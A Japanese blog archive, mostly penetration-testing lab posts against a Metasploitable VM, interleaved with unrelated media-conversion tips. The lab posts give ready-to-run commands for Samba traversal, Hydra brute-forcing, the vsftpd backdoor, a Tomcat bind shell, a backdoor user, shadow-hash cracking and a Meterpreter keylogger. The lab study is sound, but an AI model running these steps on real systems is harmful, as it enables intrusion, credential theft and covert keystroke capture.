ディレクトリトラバーサルの実験

ディレクトリトラバーサルの実験

ディレクトリトラバーサル
これは本来アクセスしてほしくないディレクトリや
ファイルの位置を表示させ不正アクセスするというもの

詳しくは

ディレクトリトラバーサルの対策

を参考に

KaliLinux と Metasploitableで実験

nmap -sV -O -p- 192.168.1.137

により

139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

の結果が途中にでてくることから
Samba が稼働しているので
共有サービスがあるのが確認できる

まず
smbclient コマンドで情報を集める

smbclient コマンドについては

を参考に

-L オプションを使うことで利用可能なサービス一覧をみれる

smbclient -L //192.168.1.137

を実行すると

Enter WORKGROUP\root's password: 

となるので Enter

結果は

Anonymous login successful

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	tmp             Disk      oh noes!
	opt             Disk      
	IPC$            IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
	ADMIN$          IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

	Server               Comment
	---------            -------

	Workgroup            Master
	---------            -------
	WORKGROUP            RASPBERRYPI

となる

この中で怪しいのは

	tmp             Disk      oh noes!

の部分

Sambaには共有フォルダ外へのシンボリックリンクの設定があり
これは
smb.conf の wide links で設定する
この部分が yes なら有効になっているが
最新のものならデフォルトで no になっている

例として
共有ファイルが 777権限で
これにシンボリックリンクがはってあるとき
wide links が yes ならアクセスできるユーザは
誰でも実行できる

Metasploit には
wide links が yes なら
ディレクトリトラバーサルを実現するモジュールがあるので
これを実行

msfconsole -q

でバナー省略で起動

use auxiliary/admin/smb/samba_symlink_traversal 
set rhost 192.168.1.137
set smbshare tmp
exploit 

で実行

set rhost で攻撃対象のIPを指定

set smbshare で 対象とする Sharename を指定

結果として

[*] Running module against 192.168.1.137

[*] 192.168.1.137:445 - Connecting to the server...
[*] 192.168.1.137:445 - Trying to mount writeable share 'tmp'...
[*] 192.168.1.137:445 - Trying to link 'rootfs' to the root filesystem...
[*] 192.168.1.137:445 - Now access the following share to browse the root filesystem:
[*] 192.168.1.137:445 - 	\\192.168.1.137\tmp\rootfs\

[*] Auxiliary module execution completed

により tmp 共有フォルダがマウントされているのがわかる

これで smbclient コマンドで
共有フォルダにアクセスできるようになる

一度

exit

で抜けて

smbclient //192.168.1.137/tmp

というように
//ホスト名/共有名
でアクセスすることができる

Enter WORKGROUP\root's password: 

となるので Enter でOK

これで help コマンドで使用できるコマンドを調べることができる

この状態で

cd rootfs\

とすると rootfs であることがわかる

パスワードファイルの閲覧をするには

cd etc\
more passwd

で閲覧ができる

ただし root 権限ではないので
shadow を閲覧しようとしてもなにも表示されない

moreコマンドについては
【more】Linuxでファイルをページ単位で表示するコマンド

を参考に

more の画面から抜けるには q を押せばOK

次に get コマンドでroot ユーザの ssh 公開鍵のダウンロード

cd \rootfs\root\.ssh
get authorized_keys
exit

これで
KaliLinux のカレントディレクトリにダウンロードされる

これらの原因をみるには一度 metasplotable にログインし
設定を確認

ssh msfadmin@192.168.1.137

で ssh でパスワード認証でログイン

The authenticity of host '192.168.1.137 (192.168.1.137)' can't be established.
RSA key fingerprint is SHA256:BQHm5EoHX9GCiOLuVscegPXLQOsuPs+E9d/rrJB84rk.
Are you sure you want to continue connecting (yes/no/[fingerprint])? 

となるので
yes を入力

msfadmin@192.168.1.137's password: 

となるので
パスワードは mfsadmin を入力

これでログインできるので

vim /etc/samba/smb.conf 

でファイルを開き
shift + g で最終行に移動

なお vim の操作については
Vim初心者に捧ぐ実践的入門

を参考に

ほかにも vim 使い方で検索するとでてくる

[tmp]
   comment = oh noes!
   read only = no
   locking = no
   path = /tmp
   guest ok = yes

[opt]
   read only = yes
   locking = no
   path = /tmp

となっていて

guest ok = yes
により認証なしの共有フォルダになっているのが原因

UbuntuでDVDをmp4に変換

UbuntuでDVDをmp4に変換

UbuntuでDVDをmp4に変換

を参考に実践

sudo apt install -y dvdbackup libdvdcss2

で必要なパッケージをインストール

sudo add-apt-repository ppa:stebbins/handbrake-releases
sudo apt-get update

でリポジトリ追加と更新

sudo apt-get install handbrake-gtk handbrake-cli


handbrake をインストール

Handbreak を起動

Open Source をクリック

検出DVDデバイスで
/dev/sr0 を選択し
開くをクリック

Presets をクリック

Legacy > Normal
としたら閉じる

Title で変換するタイトルを選べるらしいが
今回は1つしかなかったのでそのままでOK

あとは変換したい範囲のチャプターを選び
開始をクリック
デフォルトだと全チャプターが対象となる

なお、拡張子が .m4v となっているので
mp4 にしたいのなら .mp4 に手動で変更すればOK

m4v と mp4 の違いは
MP4 がISO
M4V は Apple 独自規格

詳しくは
M4V とは何ですか?M4VとMP4の違いは何でしょうか?

を参考に

youtube を MP3にして音声のみダウンロード

youtube を MP3にして音声のみダウンロード

UbuntuでYoutubeをMP3に変換して音声のみダウンロード

を参考に

少々情報が古いため
LinuxでYouTube動画をダウンロードする方法(youtube-dlのインストール方法から実際に使用する方法)

を参考に
youtube-dl をインストール

sudo wget https://yt-dl.org/downloads/latest/youtube-dl -O /usr/bin/youtube-dl

で最新版をインストール

更新は

sudo -H pip install --upgrade youtube-dl

で行う

次に権限変更

sudo chmod a+rx /usr/bin/youtube-dl

使い方は

youtube-dl YouTubeの動画URL

でOK

youtube-dl YouTubeの動画URL -x

とすれば音声のみのダウンロードが可能

そのままだと opus とかのときがあるので
–audio-format
オプションで音声ファイル形式の指定ができる

youtube-dl --audio-format mp3 YouTubeの動画URL 

とすれば mp3 で保存される

指定できるフォーマットについては
youtube-dl の使い方 (YouTube の動画・音声をコマンドラインでダウンロードする)

を参考に

Metasploitable への各種攻撃 その4

Metasploitable への各種攻撃 その4

tomcatの管理画面にログインでき
管理用アカウントの
ユーザ名
パスワード
がわかると
metasploit のモジュールによるシェル奪取が可能となる

msfconsole 

で msfコンソールを立ち上げ

grep exploit search tomcat

でペイロードを調べる

今回使用するのは
exploit/multi/http/tomcat_mgr_upload

use exploit/multi/http/tomcat_mgr_upload 
show targets

でどれを対象にするか表示できる

Exploit targets:

   Id  Name
   --  ----
   0   Java Universal
   1   Windows Universal
   2   Linux x86

で対象は Metasploitable なので
2 の Linux x86

set target 2
set payload linux/x86/shell_bind_tcp

で対象をセットし
バインドシェルを tomcat にデブロイ

set HttpUsername tomcat
set HttpPassword tomcat
set rhost 192.168.1.137
set rport 8180


tomcat の
ユーザ名
パスワード
対象IPアドレス
tomcat で使用しているポート番号
をセット

show options

で設定を確認

今回の場合だと

Module options (exploit/multi/http/tomcat_mgr_upload):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   HttpPassword  tomcat           no        The password for the specified username
   HttpUsername  tomcat           no        The username to authenticate as
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS        192.168.1.137    yes       The target address range or CIDR identifier
   RPORT         8180             yes       The target port (TCP)
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI     /manager         yes       The URI path of the manager app (/html/upload and /undeploy will be used)
   VHOST                          no        HTTP server virtual host


Payload options (linux/x86/shell_bind_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The listen port
   RHOST  192.168.1.137    no        The target address


Exploit target:

   Id  Name
   --  ----
   2   Linux x86

あとは

exploit 

で実行

これで whoami コマンドを使うと
tomcat55 権限でシェル操作できる

whoami コマンドは
ユーザ名の表示コマンド

詳しくは
【 whoami 】コマンド/【 groups 】コマンド――自分の名前と所属するグループを表示する

を参考に

ubuntu16.04 で動画から静止画切り出し

ubuntu16.04 で動画から静止画切り出し

VLCを使えば簡単にできるようなので

sudo apt update 
sudo apt upgrade
sudo apt install -f
sudo apt install vlc

でインストール

次に
VLC media Playerで、動画から画像を一定間隔に取り出す方法

を参考に

しかし、そのままだと mp4 が再生できないため

一度

sudo apt remove  vlc

で削除

リポジトリにあったのが古いため
apt – Ubuntu 1604にVLC 301をインストールする

を参考に

sudo add-apt-repository ppa:jonathonf/ffmpeg-4
sudo add-apt-repository ppa:jonathonf/vlc-3
sudo add-apt-repository ppa:videolan/master-daily
sudo apt-get update
sudo apt install vlc

でインストール

これで無事に再生することができた

次に再生したら一時停止

ctrl + j でコーデック情報がでるので
ここにあるフレームレートの数字を確認

今回の場合は
フレームレート: 29.755966
なので
30でOK

次に連続画像として出力するフォルダを作成

mkdir move_pic

次に設定
ctrl + p で設定をだし
すべてをクリック

ビデオ > フィルター > シーンフィルター

ファイル名のプレフィックスを
s_
としておく

これは分割したファイル名の先頭につく

ディレクトリパスのプレフィックスは
出力フォルダのフルパス
今回は
/home/snowpool/move_pic/

レコーディングレシオは任意のものでOK
30だと1秒ごとになり
1にするとすべてのフレーム画像が対象となる

次に
ビデオ > フィルター

シーンビデオフィルターにチェックをいれ
保存をクリック

これで一度 VLC を閉じてから再度
分割したい動画を VLC で再生

これで指定したフォルダに動画の内容が静止画として保存される

ただし、ファイルは上書きされてしまうため
いちど分割したら別のフォルダに移す必要がある

Metasploitable への各種攻撃 その3

Metasploitable への各種攻撃 その3

KaliLinux で Firefox で
http://MetasploitableのIPアドレス:8180/

にアクセスすると Tomcat の画面がでる

ここで Tomcat Administration をクリックすると
認証画面になる

次に Wireshark を起動
ctrl + alt + t で端末をひらき

wireshark 

で起動

wireshark について知りたいのなら
Wiresharkで特定の通信セッションだけを抽出して表示する

を参考に

ctrl + k で
Options 画面がでるので
eth0 の Promiscous にチェックがはいっているのを確認し
Start をクリック

これでキャプチャ開始されるので
Tomcat の認証画面でわざと失敗するように
適当なIDとパスワードで入力
UserName hoge
Password 1234

次にHTTP要求の内容を調べたいので
http に絞り込み

右クリック > Follow > HttpStream
とすると
どのような認証をしているか調べることができる

Host の部分が対象IP
Host: 192.168.1.137:8180

認証ページ
/admin/j_security_check

データ送信方式が
POST

これは
POST /admin/j_security_check;jsessionid=8FBD198A5C0437C8C8C6FF63471D9038
からわかる

j_username=hoge&j_password=1234HTTP/1.1 200 OK
より
ユーザ名変数が
j_username

パスワード変数が
j_password
となっている

Hydra でHTTP認証の検証をするには
認証失敗時のメッセージを指定する

認証失敗したときには Firefox で
Invalid username or password
To try again, click here
と表示される

このため Hydra でInvalid を指定して実行

http-post-form の書式は
認証ページのパス:送信パラメータ:認証失敗時に表示される文字列

となる

今回なら
認証ページのパスが
/admin/j_security_check

送信パラメータが
j_username=^USER^&j_password=^PASS^

認証失敗の文字列が
Invalid username or password
となる

なおユーザリストを

cat >  user.list 

で作成

内容を

root
sys
msfadmin
admin
user
service
postgres
tomcat

としておく

同様にパスワードリストも

cat > pass.list

で作成

user
password
12345678
msfadmin
root
guest
batman
asdfasdf
tomcat

としておく
最後は空白なのはパスワードなしのときもあるため

hydra のコマンド実行時に-s オプションでポート指定しないと
80番ポートになるので注意

hydra -L user.list -P pass.list -s 8180 192.168.1.137 http-form-post "/admin/j_security_check:j_username=^USER^&j_password=^PASS^:Invalid username or password"

を実行すると
実行結果から
login tomcat
password tomcat
となっているのがわかる

これで再度認証画面で
このアカウントでログインすると
管理画面にログインできることが確認できる

Metasploitable への各種攻撃 その2

Metasploitable への各種攻撃 その2

引き続き Metasploitable への実験

辞書攻撃でFTPアカウント解析

まずユーザリストの作成

cat > user.list

で入力モードになるので

root
sys
msfadmin
admin
user
service
postgres

を入力し
ctrl + c で終了

次にパスワードリストの作成

cat > pass.list

おなじく入力モードになるので

user
password
12345678
msfadmin
root
guest
batman
asdfasdf
tomcat

なお、最後は空行にしている
これはパスワードを設定していないことがあるため
ctrl + c で終了

次にオンラインパスワードクラッカー Hydra を使う

英語でもOKなら
Hydra Package Description

thc-hydra を使ってブルートフォース攻撃をしてみる

も参考に

-L オプションでユーザリスト
-P オプションでパスワードリストを指定する

-t オプションで並列処理のタスク数を指定
デフォルトは16

コマンドは

hydra -L user.list -P pass.list -t 8 192.168.1.137 ftp

というように

hydra -L ユーザリスト -P パスワードリスト -t タスク数 対象IP プロトコル

となる

次にSSHアカウントの解析
SSHは並列処理タスク数が多いと警告がでるので4にする

hydra -L user.list -P pass.list -t 4 192.168.1.137 ssh

またSSHのポートが変更されていることもあるので

hydra -L user.list -P pass.list -t 4 ssh://192.168.1.137:22

というような書き方もある

書式は
サービス名://IPアドレス:ポート番号

環境によってはSSHが無効化されていて解析できないことがあるので
patator を使う

使い方は
patator – Patatorは多目的なブルートフォーザであり、モジュラーデザインと柔軟な使い方があります

【セキュリティ】脆弱性診断・検査 ツール on Kali Linux

patator Package Description

を参考に

patator は解析する認証ごとにモジュールがあり
ssh なら
ssh_login を使う

host=IPアドレスまたはターゲットリストファイル
user=対象ユーザまたはユーザリスト
password=パスワードまたはパスワードリスト

認証失敗したときに
Authentication failed.
とでてくるが大量にでて見難いのでログのフィルタリングをする
-x オプションをつけることで動作指定ができるので
-x ignore:mesg=’Authentication failed.’
をつけておく

これで認証成功のときだけ表示される

コマンドは

patator ssh_login host=192.168.1.137 user=FILE0 password=FILE1 0=user.list 1=pass.list -x ignore:mesg='Authentication failed.'

次にTCPバックドアの利用

Metasploitable に

nmap -sV -O -p- 192.168.1.137

結果で

1524/tcp  open  bindshell   Metasploitable root shell

があり
すでにバックドアが作られている

サービスの確認を

nmap -p1524 192.168.1.137

で行うと

Nmap scan report for 192.168.1.137
Host is up (0.00037s latency).

PORT     STATE SERVICE
1524/tcp open  ingreslock
MAC Address: 08:00:27:55:20:B9 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.29 seconds

となり
ingreslock サービス名になっている

これに接続するには

nc 192.168.1.137 1524

というように
nc コマンドを使う

nc IPアドレス ポート番号
で接続

id コマンドを実行すると

uid=0(root) gid=0(root) groups=0(root)

となり
root 権限シェルであることがわかる

id コマンドについては
【 id 】コマンド――ユーザーの識別情報を表示する

を参考に

このように誰かにバックドアを設置されると
設置者以外も簡単にログインしてくるようになる

次に
/etc/shadow から
root
msfadmin
の行だけ抽出

cat /etc/shadow | grep -E "^root|^msfadmin"

結果をコピーして
KaliLinux で
passwords ファイルを作成し貼り付け

内容は

root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::

次にこれを John the Ripper でパスワード解析
まずは総当り攻撃で解析

john --incremental passwords

あとは スペースキーを押すと途中経過が表示される

途中でctrl +c で中断しても
レジューム機能で再実行すれば解析途中からスタートできる

john --restore

でレジュームできる

Metasploitable への各種攻撃 その1

Metasploitable への各種攻撃

nmap でポートスキャン

nmap には様々なオプションがあり
概要やオプションに関しては
Nampスキャンの全コマンド・オプションを日本語解説|ネットワークのセキュリティーはNmapで抑えよう

を参考に

ポートスキャンせず Ping スキャンするなら
-sP や -sn オプションを使う
純粋に Ping スキャンするなら
-sn にしないと他に飛ばしているパケットの説明を求められる

これは-sP だとIMCPだけでなく
80,443 ポートにもおくるため

実験するならMetasploitable のIPを

ifconfig

で調べて

KaliLinux から

nmap -sn 192.168.1.137

とすればOK

Metasploitable でキャプチャになっているときには
右ctrl キーをおせば抜けられる

次にMetasploitable の開いているポート、サービスバージョン
OSの種類を調べる

-p-
全ポートのスキャン
ただし0番ポートと9100 は除く

-sV
サービスとバージョンの特定

-O
OSの特定
ただしバージョンまでは特定しない

これを Metasploitable に実行

nmap -sV -O -p- 192.168.1.137

結果は

Nmap scan report for 192.168.1.137
Host is up (0.00039s latency).
Not shown: 65505 closed ports
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 2.3.4
22/tcp    open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet      Linux telnetd
25/tcp    open  smtp        Postfix smtpd
53/tcp    open  domain      ISC BIND 9.4.2
80/tcp    open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec?
513/tcp   open  login
514/tcp   open  shell?
1099/tcp  open  rmiregistry GNU Classpath grmiregistry
1524/tcp  open  bindshell   Metasploitable root shell
2049/tcp  open  nfs         2-4 (RPC #100003)
2121/tcp  open  ftp         ProFTPD 1.3.1
3306/tcp  open  mysql       MySQL 5.0.51a-3ubuntu5
3632/tcp  open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc         VNC (protocol 3.3)
6000/tcp  open  X11         (access denied)
6667/tcp  open  irc         UnrealIRCd
6697/tcp  open  irc         UnrealIRCd
8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
8787/tcp  open  drb         Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
34001/tcp open  status      1 (RPC #100024)
38465/tcp open  mountd      1-3 (RPC #100005)
43648/tcp open  nlockmgr    1-4 (RPC #100021)
53119/tcp open  rmiregistry GNU Classpath grmiregistry
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port514-TCP:V=7.70%I=7%D=2/8%Time=5E3DD53C%P=x86_64-pc-linux-gnu%r(NULL
SF:,2B,"\x01Couldn't\x20get\x20address\x20for\x20your\x20host\x20\(kali\)\
SF:n");
MAC Address: 08:00:27:55:20:B9 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts:  metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 128.06 seconds

となった

この中で攻撃に使われそうなのは

21/tcp    open  ftp         vsftpd 2.3.4
1524/tcp  open  bindshell   Metasploitable root shell
5900/tcp  open  vnc         VNC (protocol 3.3)

まず vsftp2.3.4 向け Exploit を探す
CVE Details

Exploit Database

などで調べることもできる

他にも
セキュリティエンジニア向けマテリアル

なども参考に

今回は Exploit Database で
検索

これによるとリモートからコマンド実行できるバックドアがあるとのこと

🙂 を含むユーザ名でFTPへログインすると
6200ポートにバックドアが開く

この状態で 6200 ポートにアクセスすることで
vsftpd の実行権限で任意のコマンドが実行できる

nc 192.168.1.137 21

というように
nc コマンドで Metasploitable のIPアドレス ポート番号
でアクセス

USER 任意のユーザ名

ユーザ名の最後に 🙂 をつける

PASS 任意のパスワード

とするとポートが開く

この状態で
別端末を
ctrl + alt + t で開き

nc -nv 192.168.1.137 6200

で接続

nc コマンドとオプションについては
使いたいときに必ず忘れる便利なコマンド「nc」

を参考に

これで
whoami コマンドで確認すると
root ユーザになっているのがわかる

whoami コマンドについては
【 whoami 】コマンド/【 groups 】コマンド――自分の名前と所属するグループを表示する

を参考に

また exploit のvsftpd_234_backdoor.rbのコードが
https://www.exploit-db.com/exploits/17491
にあり

sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")

でランダムなユーザ名のあとに 🙂 を

sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")

でパスワードの指定
としている

nsock = self.connect(false, {'RPORT' => 6200}) rescue nil

で6200ポートに接続できるか確認

実際に Metasploitable へ攻撃をするには

msfconsole 
use exploit/unix/ftp/vsftpd_234_backdoor 
set rhost 192.168.1.137
exploit

で実行

なお
192.168.1.137 の部分は
Metasploitable のIPアドレス

プロンプトが帰ってこないけど
コマンドの実行はできる

whoami

とすると root であることがわかる

これで

useradd -m newuser -G sudo -s /bin/bash; passwd newuser

とするとバックドア用ユーザが作成でき

Enter new UNIX password:
となったら任意のパスワードをいれ

Retype new UNIX password:
となるので同じパスワードを入力する

このシェルから抜けるには

exit

を実行すればOK

msfコンソールからも抜けるのなら

exit

を再度実行すればOK

これで Metasploitable でログインするときに
newuser でのログインが可能になる

次にDBへのアクセス
Metasploitable のポート3306 が 開いているので
mysql での接続ができる
なおデフォルトでは root パスワードが設定されていないため

mysql -h 192.168.1.137 -u root

で簡単にログインできる

show databases

でDB一覧がみれる

+--------------------+
| Database           |
+--------------------+
| information_schema |
| dvwa               |
| metasploit         |
| mysql              |
| owasp10            |
| tikiwiki           |
| tikiwiki195        |
+--------------------+

パスワードの状態を確認するには
[mysql]
use mysql;
select user,password from user;
[/sql]
を実行

結果として

+------------------+----------+
| user             | password |
+------------------+----------+
| debian-sys-maint |          |
| root             |          |
| guest            |          |
+------------------+----------+

となっているのがわかる

Metasploitable 仮想マシン構築

Metasploitable 仮想マシン構築

Metasploitable は脆弱性が存在する状態で構築された Linux

https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
よりダウンロード可能

次にこのファイルを展開

cd ダウンロード/
unzip metasploitable-linux-2.0.0.zip 

VirtualBox を起動し
新規をクリック

名前は任意でOKなので
今回はMetasploitable2

タイプを Linux
ばーじょんを Ubuntu(64-bit)
にして次へをクリック

メモリサイズはそのままでOKなので
次へをクリック

ハードディスクでは
すでにある仮想ハードディスクファイルを使用するにして

Metasplitable.vmdk を選ぶ

これで仮想マシンが作成される

次にネットワークを設定したいので
設定をクリック

ネットワークを
NATからブリッジアダプターに変更

これで起動

デフォルトのログインユーザ名はmsfadmin
パスワードは msfadmin
となっている

なお初期状態では英語キーボードなので

sudo loadkeys jp

とすることで日本語キーボードになる

ただし、再起動すると戻っているので注意

キーロガーと情報の奪取

キーロガーと情報の奪取

meterpreterセッションが確立しているなら
ユーザ権限でも可能

keyscan_start 

でキーロガーの開始

次に Windows10 でメモ帳を開き適当に入力

この状態で

keyscan_dump

を実行すると

this is keyloger test<CR>
<Shift>A<CR>
<半角/全角>kyou <CR>

というように入力した文字が表示される

なお CR は改行
shift なども記録される

日本語に関してはそのまま表示されずに
ローマ字で入力したキーが表示される

keyscan_stop 

でキーロガーの停止

リアルタイムで監視するのなら
Metasploit のキーロガーを使う

一度セッションをバックグラウンドに変更

background 
use post/windows/capture/keylog_recorder
set session 2

で使用するキーロガーとセッションの設定

run

で実行

これで

Keystrokes being saved in to /root/.msf4/loot/20200206043556_default_192.168.1.166_host.windows.key_155453.txt

と表示され
/root/.msf4/loot/20200206043556_default_192.168.1.166_host.windows.key
に保存される

リアルタイムでキーログを監視するには
ctrl + alt + t で別端末を開き

tail -f /root/.msf4/loot/20200206043556_default_192.168.1.166_host.windows.key_155453.txt 

というように tail コマンドを使う

tailコマンドのオプションについては
tailコマンドのオプション「f」と「F」
を参考に
-f オプションなら今開いているファイルを読み込む

これで WIndows10 で入力した内容が表示されるようになる

キーロガーの終了は ctrl + c で終了